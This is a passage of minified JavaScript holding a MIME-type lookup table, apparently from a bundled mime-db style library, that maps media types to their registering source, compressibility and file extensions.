vnd.oasis.opendocument.image-template":{source:"iana",extensions:["oti"]},"application/vnd.oasis.opendocument.presentation":{source:"iana",compressible:!1,extensions:["odp"]},"application/vnd.oasis.opendocument.presentation-template":{source:"iana",extensions:["otp"]},"application/vnd.oasis.opendocument.spreadsheet":{source:"iana",compressible:!1,extensions:["ods"]},"application/vnd.oasis.opendocument.spreadsheet-template":{source:"iana",extensions:["ots"]},"application/vnd.oasis.opendocument.text":{source:"iana",compressible:!1,extensions:["odt"]},"application/vnd.oasis.opendocument.text-master":{source:"iana",extensions:["odm"]},"application/vnd.oasis.opendocument.text-template":{source:"iana",extensions:["ott"]},"application/vnd.oasis.opendocument.text-web":{source:"iana",extensions:["oth"]},"application/vnd.obn":{source:"iana"},"application/vnd.ocf+cbor":{source:"iana"},"application/vnd.oci.image.manifest.v1+json":{source:"iana",compressible:!0},"application/vnd.oftn.l10n+json":{source:"iana",compressible:!0},"application/vnd.oipf.contentaccessdownload+xml":{source:"iana",compressible:!0},"application/vnd.oipf.contentaccessstreaming+xml":{source:"iana",compressible:!0},"application/vnd.oipf.cspg-hexbinary":{source:"iana"},"application/vnd.oipf.dae.svg+xml":{source:"iana",compressible:!0},"application/vnd.oipf.dae.xhtml+xml":{source:"iana",compressible:!0},"application/vnd.oipf.mippvcontrolmessage+xml":{source:"iana",compressible:!0},"application/vnd.oipf.pae.gem":{source:"iana"},"application/vnd.oipf.spdiscovery+xml":{source:"iana",compressible:!0},"application/vnd.oipf.spdlist+xml":{source:"iana",compressible:!0},"application/vnd.oipf.ueprofile+xml":{source:"iana",compressible:!0},"application/vnd.oipf.userprofile+xml":{source:"iana",compressible:!0},"application/vnd.olpc-sugar":{source:"iana",extensions:["xo"]},"application/vnd.oma-scws-config":{source:"iana"},"application/vnd.oma-scws-http-request":{source:"iana"},"application/vnd.oma-scws-http-response":{source:"iana"},"application/vnd.oma.bcast.associated-procedure-parameter+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.drm-trigger+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.imd+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.ltkm":{source:"iana"},"application/vnd.oma.bcast.notification+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.provisioningtrigger":{source:"iana"},"application/vnd.oma.bcast.sgboot":{source:"iana"},"application/vnd.oma.bcast.sgdd+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.sgdu":{source:"iana"},"application/vnd.oma.bcast.simple-symbol-container":{source:"iana"},"application/vnd.oma.bcast.smartcard-trigger+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.sprov+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.stkm":{source:"iana"},"application/vnd.oma.cab-address-book+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-feature-handler+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-pcc+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-subs-invite+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-user-prefs+xml":{source:"iana",compressible:!0},"application/vnd.oma.dcd":{source:"iana"},"application/vnd.oma.dcdc":{source:"iana"},"application/vnd.oma.dd2+xml":{source:"iana",compressible:!0,extensions:["dd2"]},"application/vnd.oma.drm.risd+xml":{source:"iana",compressible:!0},"application/vnd.oma.group-usage-list+xml":{source:"iana",compressible:!0},"application/vnd.oma.lwm2m+cbor":{source:"iana"},"application/vnd.oma.lwm2m+json":{source:"iana",compressible:!0},"application/vnd.oma.lwm2m+tlv":{source:"iana"},"application/vnd.oma.pal+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.detailed-progress-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.final-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.groups+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.invocation-descriptor+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.optimized-progress-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.push":{source:"iana"},"application/vnd.oma.scidm.messages+xml":{source:"iana",compressible:!0},"application/vnd.oma.xcap-directory+xml":{source:"iana",compressible:!0},"application/vnd.omads-email+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omads-file+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omads-folder+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omaloc-supl-init":{source:"iana"},"application/vnd.onepager":{source:"iana"},"application/vnd.onepagertamp":{source:"iana"},"application/vnd.onepagertamx":{source:"iana"},"application/vnd.onepagertat":{source:"iana"},"application/vnd.onepagertatp":{source:"iana"},"application/vnd.onepagertatx":{source:"iana"},"application/vnd.openblox.game+xml":{source:"iana",compressible:!0,extensions:["obgx"]},"application/vnd.openblox.game-binary":{source:"iana"},"application/vnd.openeye.oeb":{source:"iana"},"application/vnd.openofficeorg.extension":{source:"apache",extensions:["oxt"]},"application/vnd.openstreetmap.data+xml":{source:"iana",compressible:!0,extensions:["osm"]},"application/vnd.opentimestamps.ots":{source:"iana"},"application/vnd.openxmlformats-officedocument.custom-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.customxmlproperties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawing+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.chart+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.chartshapes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramcolors+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramdata+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramlayout+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramstyle+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.extended-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.commentauthors+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.handoutmaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.notesmaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.notesslide+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.presentation":{source:"iana",compressible:!1,extensions:["pptx"]},"application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.presprops+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slide":{source:"iana",extensions:["sldx"]},"application/vnd.openxmlformats-officedocument.presentationml.slide+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slidelayout+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slidemaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slideshow":{source:"iana",extensions:["ppsx"]},"application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slideupdateinfo+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.tablestyles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.tags+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.template":{source:"iana",extensions:["potx"]},"application/vnd.openxmlformats-officedocument.presentationml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.viewprops+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.calcchain+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.chartsheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.connections+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.dialogsheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.externallink+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcachedefinition+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcacherecords+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivottable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.querytable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.revisionheaders+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.revisionlog+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sharedstrings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":{source:"iana",compressible:!1,extensions:["xlsx"]},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheetmetadata+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.table+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.tablesinglecells+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.template":{source:"iana",extensions:["xltx"]},"application/vnd.openxmlformats-officedocument.spreadsheetml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.usernames+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.volatiledependencies+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.theme+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.themeoverride+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.vmldrawing":{source:"iana"},"application/vnd.openxmlformats-officedocument.wordprocessingml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.document":{source:"iana",compressible:!1,extensions:["docx"]},"application/vnd.openxmlformats-officedocument.wordprocessingml.document.glossary+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.endnotes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.fonttable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.footer+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.footnotes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.numbering+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.template":{source:"iana",extensions:["dotx"]},"application/vnd.openxmlformats-officedocument.wordprocessingml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.websettings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.core-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.digital-signature-xmlsignature+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.relationships+xml":{source:"iana",compressible:!0},"application/vnd.oracle.resource+json":{source:"iana",compressible:!0},"application/vnd.orange.indata":{source:"iana"},"application/vnd.osa.netdeploy":{source:"iana"},"application/vnd.osgeo.mapguide.package":{source:"iana",extensions:["mgp"]},"application/vnd.osgi.bundle":{source:"iana"},"application/vnd.osgi.dp":{source:"iana",extensions:["dp"]},"application/vnd.osgi.subsystem":{source:"iana",extensions:["esa"]},"application/vnd.otps.ct-kip+xml":{source:"iana",compressible:!0},"application/vnd.oxli.countgraph":{source:"iana"},"application/vnd.pagerduty+json":{source:"iana",compressible:!0},"application/vnd.palm":{source:"iana",extensions:["pdb","pqa","oprc"]},"application/vnd.panoply":{source:"iana"},"application/vnd.paos.xml":{source:"iana"},"application/vnd.patentdive":{source:"iana"},"application/vnd.patientecommsdoc":{source:"iana"},"application/vnd.pawaafile":{source:"iana",extensions:["paw"]},"application/vnd.pcos":{source:"iana"},"application/vnd.pg.format":{source:"iana",extensions:["str"]},"application/vnd.pg.osasli":{source:"iana",extensions:["ei6"]},"application/vnd.piaccess.application-licence":{source:"iana"},"application/vnd.picsel":{source:"iana",extensions:["efif"]},"application/vnd.pmi.widget":{source:"iana",extensions:["wg"]},"application/vnd.poc.group-advertisement+xml":{source:"iana",compressible:!0},"application/vnd.pocketlearn":{source:"iana",extensions:["plf"]},"application/vnd.powerbuilder6":{source:"iana",extensions:["pbd"]},"application/vnd.powerbuilder6-s":{source:"iana"},"application/vnd.powerbuilder7":{source:"iana"},"application/vnd.powerbuilder7-s":{source:"iana"},"application/vnd.powerbuilder75":{source:"iana"},"application/vnd.powerbuilder75-s":{source:"iana"},"application/vnd.preminet":{source:"iana"},"application/vnd.previewsystems.box":{source:"iana",extensions:["box"]},"application/vnd.proteus.magazine":{source:"iana",extensions:["mgz"]},"application/vnd.psfs":{source:"iana"},"application/vnd.publishare-delta-tree":{source:"iana",extensions:["qps"]},"application/vnd.pvi.ptid1":{source:"iana",extensions:["ptid"]},"application/vnd.pwg-multiplexed":{source:"iana"},"application/vnd.pwg-xhtml-print+xml":{source:"iana",compressible:!0},"application/vnd.qualcomm.brew-app-res":{source:"iana"},"application/vnd.quarantainenet":{source:"iana"},"application/vnd.quark.quarkxpress":{source:"iana",extensions:["qxd","qxt","qwd","qwt","qxl","qxb"]},"application/vnd.quobject-quoxdocument":{source:"iana"},"application/vnd.radisys.moml+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-conf+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-conn+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-dialog+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-stream+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-conf+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-base+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-fax-detect+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-fax-sendrecv+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-group+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-speech+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-transform+xml":{source:"iana",compressible:!0},"application/vnd.rainstor.data":{source:"iana"},"application/vnd.rapid":{source:"iana"},"application/vnd.rar":{source:"iana",extensions:["rar"]},"application/vnd.realvnc.bed":{source:"iana",extensions:["bed"]},"application/vnd.recordare.musicxml":{source:"iana",extensions:["mxl"]},"application/vnd.recordare.musicxml+xml":{source:"iana",compressible:!0,extensions:["musicxml"]},"application/vnd.renlearn.rlprint":{source:"iana"},"application/vnd.resilient.logic":{source:"iana"},"application/vnd.restful+json":{source:"iana",compressible:!0},"application/vnd.rig.cryptonote":{source:"iana",extensions:["cryptonote"]},"application/vnd.rim.cod":{source:"apache",extensions:["cod"]},"application/vnd.rn-realmedia":{source:"apache",extensions:["rm"]},"application/vnd.rn-realmedia-vbr":{source:"apache",extensions:["rmvb"]},"application/vnd.route66.link66+xml":{source:"iana",compressible:!0,extensions:["link66"]},"application/vnd.rs-274x":{source:"iana"},"application/vnd.ruckus.download":{source:"iana"},"application/vnd.s3sms":{source:"iana"},"application/vnd.sailingtracker.track":{source:"iana",extensions:["st"]},"application/vnd.sar":{source:"iana"},"application/vnd.sbm.cid":{source:"iana"},"application/vnd.sbm.mid2":{source:"iana"},"application/vnd.scribus":{source:"iana"},"application/vnd.sealed.3df":{source:"iana"},"application/vnd.sealed.csf":{source:"iana"},"application/vnd.sealed.doc":{source:"iana"},"application/vnd.sealed.eml":{source:"iana"},"application/vnd.sealed.mht":{source:"iana"},"application/vnd.sealed.net":{source:"iana"},"application/vnd.sealed.ppt":{source:"iana"},"application/vnd.sealed.tiff":{source:"iana"},"application/vnd.sealed.xls":{source:"iana"},"application/vnd.sealedmedia.softseal.html":{source:"iana"},"application/vnd.sealedmedia.softseal.pdf":{source:"iana"},"application/vnd.seemail":{source:"iana",extensions:["see"]},"application/vnd.seis+json":{source:"iana",compressible:!0},"application/vnd.sema":{source:"iana",extensions:["sema"]},"application/vnd.semd":{source:"iana",extensions:["semd"]},"application/vnd.semf":{source:"iana",extensions:["semf"]},"application/vnd.shade-save-file":{source:"iana"},"application/vnd.shana.informed.formdata":{source:"iana",extensions:["ifm"]},"application/vnd.shana.informed.formtemplate":{source:"iana",extensions:["itp"]},"application/vnd.shana.informed.interchange":{source:"iana",extensions:["iif"]},"application/vnd.shana.informed.package":{source:"iana",extensions:["ipk"]},"application/vnd.shootproof+json":{source:"iana",compressible:!0},"application/vnd.shopkick+json":{source:"iana",compressible:!0},"application/vnd.shp":{source:"iana"},"application/vnd.shx":{source:"iana"},"application/vnd.sigrok.session":{source:"iana"},"application/vnd.simtech-mindmapper":{source:"iana",extensions:["twd","twds"]},"application/vnd.siren+json":{source:"iana",compressible:!0},"application/vnd.smaf":{source:"iana",extensions:["mmf"]},"application/vnd.smart.notebook":{source:"iana"},"application/vnd.smart.teacher":{source:"iana",extensions:["teacher"]},"application/vnd.snesdev-page-table":{source:"iana"},"application/vnd.software602.filler.form+xml":{source:"iana",compressible:!0,extensions:["fo"]},"application/vnd.software602.filler.form-xml-zip":{source:"iana"},"application/vnd.solent.sdkm+xml":{source:"iana",compressible:!0,extensions:["sdkm","sdkd"]},"application/vnd.spotfire.dxp":{source:"iana",extensions:["dxp"]},"application/vnd.spotfire.sfs":{source:"iana",extensions:["sfs"]},"application/vnd.sqlite3":{source:"iana"},"application/vnd.sss-cod":{source:"iana"},"application/vnd.sss-dtf":{source:"iana"},"application/vnd.sss-ntf":{source:"iana"},"application/vnd.stardivision.calc":{source:"apache",extensions:["sdc"]},"application/vnd.stardivision.draw":{source:"apache",extensions:["sda"]},"application/vnd.stardivision.impress":{source:"apache",extensions:["sdd"]},"application/vnd.stardivision.math":{source:"apache",extensions:["smf"]},"application/vnd.stardivision.writer":{source:"apache",extensions:["sdw","vor"]},"application/vnd.stardivision.writer-global":{source:"apache",extensions:["sgl"]},"application/vnd.stepmania.package":{source:"iana",extensions:["smzip"]},"application/vnd.stepmania.stepchart":{source:"iana",extensions:["sm"]},"application/vnd.street-stream":{source:"iana"},"application/vnd.sun.wadl+xml":{source:"iana",compressible:!0,extensions:["wadl"]},"application/vnd.sun.xml.calc":{source:"apache",extensions:["sxc"]},"application/vnd.sun.xml.calc.template":{source:"apache",extensions:["stc"]},"application/vnd.sun.xml.draw":{source:"apache",extensions:["sxd"]},"application/vnd.sun.xml.draw.template":{source:"apache",extensions:["std"]},"application/vnd.sun.xml.impress":{source:"apache",extensions:["sxi"]},"application/vnd.sun.xml.impress.template":{source:"apache",extensions:["sti"]},"application/vnd.sun.xml.math":{source:"apache",extensions:["sxm"]},"application/vnd.sun.xml.writer":{source:"apache",extensions:["sxw"]},"application/vnd.sun.xml.writer.global":{source:"apache",extensions:["sxg"]},"application/vnd.sun.xml.writer.template":{source:"apache",extensions:["stw"]},"application/vnd.sus-calendar":{source:"iana",extensions:["sus","susp"]},"application/vnd.svd":{source:"iana",extensions:["svd"]},"application/vnd.swiftview-ics":{source:"iana"},"application/vnd.sycle+xml":{source:"iana",compressible:!0},"application/vnd.syft+json":{source:"iana",compressible:!0},"application/vnd.symbian.install":{source:"apache",extensions:["sis","sisx"]},"application/vnd.syncml+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["xsm"]},"application/vnd.syncml.dm+wbxml":{source:"iana",charset:"UTF-8",extensions:["bdm"]},"application/vnd.syncml.dm+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["xdm"]},"application/vnd.syncml.dm.notification":{source:"iana"},"application/vnd.syncml.dmddf+wbxml":{source:"iana"},"application/vnd.syncml.dmddf+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["ddf"]},"application/vnd.syncml.dmtnds+wbxml":{source:"iana"},"application/vnd.syncml.dmtnds+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.syncml.ds.notification":{source:"iana"},"application/vnd.tableschema+json":{source:"iana",compressible:!0},"application/vnd.tao.intent-module-archive":{source:"iana",extensions:["tao"]},"application/vnd.tcpdump.pcap":{source:"iana",extensions:["pcap","cap","dmp"]},"application/vnd.think-cell.ppttc+json":{source:"iana",compressible:!0},"application/vnd.tmd.mediaflex.api+xml":{source:"iana",compressible:!0},"application/vnd.tml":{source:"iana"},"application/vnd.tmobile-livetv":{source:"iana",extensions:["tmo"]},"application/vnd.tri.onesource":{source:"iana"},"application/vnd.trid.tpt":{source:"iana",extensions:["tpt"]},"application/vnd.triscape.mxs":{source:"iana",extensions:["mxs"]},"application/vnd.trueapp":{source:"iana",extensions:["tra"]},"application/vnd.truedoc":{source:"iana"},"application/vnd.ubisoft.webplayer":{source:"iana"},"application/vnd.ufdl":{source:"iana",extensions:["ufd","ufdl"]},"application/vnd.uiq.theme":{source:"iana",extensions:["utz"]},"application/vnd.umajin":{source:"iana",extensions:["umj"]},"application/vnd.unity":{source:"iana",extensions:["unityweb"]},"application/vnd.uoml+xml":{source:"iana",compressible:!0,extensions:["uoml"]},"application/vnd.uplanet.alert":{source:"iana"},"application/vnd.uplanet.alert-wbxml":{source:"iana"},"application/vnd.uplanet.bearer-choice":{source:"iana"},"application/vnd.uplanet.bearer-choice-wbxml":{source:"iana"},"application/vnd.uplanet.cacheop":{source:"iana"},"application/vnd.uplanet.cacheop-wbxml":{source:"iana"},"application/vnd.uplanet.channel":{source:"iana"},"application/vnd.uplanet.channel-wbxml":{source:"iana"},"application/vnd.uplanet.list":{source:"iana"},"application/vnd.uplanet.list-wbxml":{source:"iana"},"application/vnd.uplanet.listcmd":{source:"iana"},"application/vnd.uplanet.listcmd-wbxml":{source:"iana"},"application/vnd.uplanet.signal":{source:"iana"},"application/vnd.uri-map":{source:"iana"},"application/vnd.valve.source.material":{source:"iana"},"application/vnd.vcx":{source:"iana",extensions:["vcx"]},"application/vnd.vd-study":{source:"iana"},"application/vnd.vectorworks":{source:"iana"},"application/vnd.vel+json":{source:"iana",compressible:!0},"application/vnd.verimatrix.vcas":{source:"iana"},"application/vnd.veritone.aion+json":{source:"iana",compressible:!0},"application/vnd.veryant.thin":{source:"iana"},"application/vnd.ves.encrypted":{source:"iana"},"application/vnd.vidsoft.vidconference":{source:"iana"},"application/vnd.visio":{source:"iana",extensions:["vsd","vst","vss","vsw"]},"application/vnd.visionary":{source:"iana",extensions:["vis"]},"application/vnd.vividence.scriptfile":{source:"iana"},"application/vnd.vsf":{source:"iana",extensions:["vsf"]},"application/vnd.wap.sic":{source:"iana"},"application/vnd.wap.slc":{source:"iana"},"application/vnd.wap.wbxml":{source:"iana",charset:"UTF-8",extensions:["wbxml"]},"application/vnd.wap.wmlc":{source:"iana",extensions:["wmlc"]},"application/vnd.wap.wmlscriptc":{source:"iana",extensions:["wmlsc"]},"application/vnd.webturbo":{source:"iana",extensions:["wtb"]},"application/vnd.wfa.dpp":{source:"iana"},"application/vnd.wfa.p2p":{source:"iana"},"application/vnd.wfa.wsc":{source:"iana"},"application/vnd.windows.devicepairing":{source:"iana"},"application/vnd.wmc":{source:"iana"},"application/vnd.wmf.bootstrap":{source:"iana"},"application/vnd.wolfram.mathematica":{source:"iana"},"application/vnd.wolfram.mathematica.package":{source:"iana"},"application/vnd.wolfram.player":{source:"iana",extensions:["nbp"]},"application/vnd.wordperfect":{source:"iana",extensions:["wpd"]},"application/vnd.wqd":{source:"iana",extensions:["wqd"]},"application/vnd.wrq-hp3000-labelled":{source:"iana"},"application/vnd.wt.stf":{source:"iana",extensions:["stf"]},"application/vnd.wv.csp+wbxml":{source:"iana"},"application/vnd.wv.csp+xml":{source:"iana",compressible:!0},"application/vnd.wv.ssp+xml":{source:"iana",compressible:!0},"application/vnd.xacml+json":{source:"iana",compressible:!0},"application/vnd.xara":{source:"iana",extensions:["xar"]},"application/vnd.xfdl":{source:"iana",extensions:["xfdl"]},"application/vnd.xfdl.webform":{source:"iana"},"application/vnd.xmi+xml":{source:"iana",compressible:!0},"application/vnd.xmpie.cpkg":{source:"iana"},"application/vnd.xmpie.dpkg":{source:"iana"},"application/vnd.xmpie.plan":{source:"iana"},"application/vnd.xmpie.ppkg":{source:"iana"},"application/vnd.xmpie.xlim":{source:"iana"},"application/vnd.yamaha.hv-dic":{source:"iana",extensions:["hvd"]},"application/vnd.yamaha.hv-script":{source:"iana",extensions:["hvs"]},"application/vnd.yamaha.hv-voice":{source:"iana",extensions:["hvp"]},"application/vnd.yamaha.openscoreformat":{source:"iana",extensions:["osf"]},"application/vnd.yamaha.openscoreformat.osfpvg+xml":{source:"iana",compressible:!0,extensions:["osfpvg"]},"application/vnd.yamaha.remote-setup":{source:"iana"},"application/vnd.yamaha.smaf-audio":{source:"iana",extensions:["saf"]},"application/vnd.yamaha.smaf-phrase":{source:"iana",extensions:["spf"]},"application/vnd.yamaha.through-ngn":{source:"iana"},"application/vnd.yamaha.tunnel-udpencap":{source:"iana"},"application/vnd.yaoweme":{source:"iana"},"application/vnd.yellowriver-custom-menu":{source:"iana",extensions:["cmp"]},"application/vnd.youtube.yt":{source:"iana"},"application/vnd.zul":{source:"iana",extensions:["zir","zirz"]},"application/vnd.zzazz.deck+xml":{source:"iana",compressible:!0,extensions:["zaz"]},"application/voicexml+xml":{source:"iana",compressible:!0,extensions:["vxml"]},"application/voucher-cms+json":{source:"iana",compressible:!0},"application/vq-rtcpxr":{source:"iana"},"application/wasm":{source:"iana",compressible:!0,extensions:["wasm"]},"application/watcherinfo+xml":{source:"iana",compressible:!0,extensions:["wif"]},"application/webpush-options+json":{source:"iana",compressible:!0},"application/whoispp-query":{source:"iana"},"application/whoispp-response":{source:"iana"},"application/widget":{source:"iana",extensions:["wgt"]},"application/winhlp":{source:"apache",extensions:["hlp"]},"application/wita":{source:"iana"},"application/wordperfect5.1":{source:"iana"},"application/wsdl+xml":{source:"iana",compressible:!0,extensions:["wsdl"]},"application/wspolicy+xml":{source:"iana",compressible:!0,extensions:["wspolicy"]},"application/x-7z-compressed":{source:"apache",compressible:!1,extensions:["7z"]},"application/x-abiword":{source:"apache",extensions:["abw"]},"application/x-ace-compressed":{source:"apache",extensions:["ace"]},"application/x-amf":{source:"apache"},"application/x-apple-diskimage":{source:"apache",extensions:["dmg"]},"application/x-arj":{compressible:!1,extensions:["arj"]},"application/x-authorware-bin":{source:"apache",extensions:["aab","x32","u32","vox"]},"application/x-authorware-map":{source:"apache",extensions:["aam"]},"application/x-authorware-seg":{source:"apache",extensions:["aas"]},"application/x-bcpio":{source:"apache",extensions:["bcpio"]},"application/x-bdoc":{compressible:!1,extensions:["bdoc"]},"application/x-bittorrent":{source:"apache",extensions:["torrent"]},"application/x-blorb":{source:"apache",extensions:["blb","blorb"]},"application/x-bzip":{source:"apache",compressible:!1,extensions:["bz"]},"application/x-bzip2":{source:"apache",compressible:!1,extensions:["bz2","boz"]},"application/x-cbr":{source:"apache",extensions:["cbr","cba","cbt","cbz","cb7"]},"application/x-cdlink":{source:"apache",extensions:["vcd"]},"application/x-cfs-compressed":{source:"apache",extensions:["cfs"]},"application/x-chat":{source:"apache",extensions:["chat"]},"application/x-chess-pgn":{source:"apache",extensions:["pgn"]},"application/x-chrome-extension":{extensions:["crx"]},"application/x-cocoa":{source:"nginx",extensions:["cco"]},"application/x-compress":{source:"apache"},"application/x-conference":{source:"apache",extensions:["nsc"]},"application/x-cpio":{source:"apache",extensions:["cpio"]},"application/x-csh":{source:"apache",extensions:["csh"]},"application/x-deb":{compressible:!1},"application/x-debian-package":{source:"apache",extensions:["deb","udeb"]},"application/x-dgc-compressed":{source:"apache",extensions:["dgc"]},"application/x-director":{source:"apache",extensions:["dir","dcr","dxr","cst","cct","cxt","w3d","fgd","swa"]},"application/x-doom":{source:"apache",extensions:["wad"]},"application/x-dtbncx+xml":{source:"apache",compressible:!0,extensions:["ncx"]},"application/x-dtbook+xml":{source:"apache",compressible:!0,extensions:["dtb"]},"application/x-dtbresource+xml":{source:"apache",compressible:!0,extensions:["res"]},"application/x-dvi":{source:"apache",compressible:!1,extensions:["dvi"]},"application/x-envoy":{source:"apache",extensions:["evy"]},"application/x-eva":{source:"apache",extensions:["eva"]},"application/x-font-bdf":{source:"apache",extensions:["bdf"]},"application/x-font-dos":{source:"apache"},"application/x-font-framemaker":{source:"apache"},"application/x-font-ghostscript":{source:"apache",extensions:["gsf"]},"application/x-font-libgrx":{source:"apache"},"application/x-font-linux-psf":{source:"apache",extensions:["psf"]},"application/x-font-pcf":{source:"apache",extensions:["pcf"]},"application/x-f